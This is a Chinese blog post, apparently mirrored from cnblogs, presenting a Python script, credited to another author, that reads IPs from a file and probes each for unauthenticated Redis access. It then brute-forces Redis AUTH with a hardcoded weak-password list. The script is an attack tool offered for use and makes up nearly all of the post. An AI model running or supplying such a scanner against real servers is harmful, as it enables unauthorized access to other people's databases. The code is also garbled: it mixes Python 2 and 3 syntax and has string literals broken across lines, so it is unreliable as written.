zoukankan      html  css  js  c++  java
  • 批量redis未授权检测工具&批量redis弱口令爆破工具

    今天需要然后就百度搜索了一波,然后自己稍微改了一下:

    #!/usr/bin/python3
    # -*- coding: utf-8 -*-
    """
    @Author: 偷来的代码,原作者:r0cky
    """
    import socket
    import sys
    
    passwds = ['redis','root','oracle','password','p@ssw0rd','abc123!','123456','admin','abc123']
    
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #print u"[INFO] connecting " + ip + u":" + port
            s.connect((ip, int(port)))
            #print u"[INFO] connected "+ip+u":"+port+u" hacking..."
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"IP:{0}存在未授权访问".format(ip)
            elif "Authentication" in result:
                for passwd in passwds:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(passwd))
                    # print u"[HACKING] hacking to passwd --> "+passwd
                    result = s.recv(1024)
                    if 'OK' in result:
                        return u"IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
                    else:pass
            else:pass
            s.close()
        except Exception, e:
            pass
    
    if __name__ == '__main__':
        # default Port
        port="6379"
        with open('tmp.txt','r') as  f:
            ips = f.readlines()
            for i in ips:
                ip = i.strip("
    ")
                result = check(ip,port,timeout=10)
                print(result)
  • 相关阅读:
    apipost如何设置断言
    接口文档生成详细教程
    接口测试的时候如何生成随机数据进行测试
    armbian用户指南
    仿「ONE · 一个」 的微信小程序
    [armbian_ubuntu] 设置中文环境
    realtek wifi驱动
    armbian 入门知识基础学习
    [Armbian] armbian-config设置
    内存型号介绍
  • 原文地址:https://www.cnblogs.com/nul1/p/11598396.html
Copyright © 2011-2022 走看看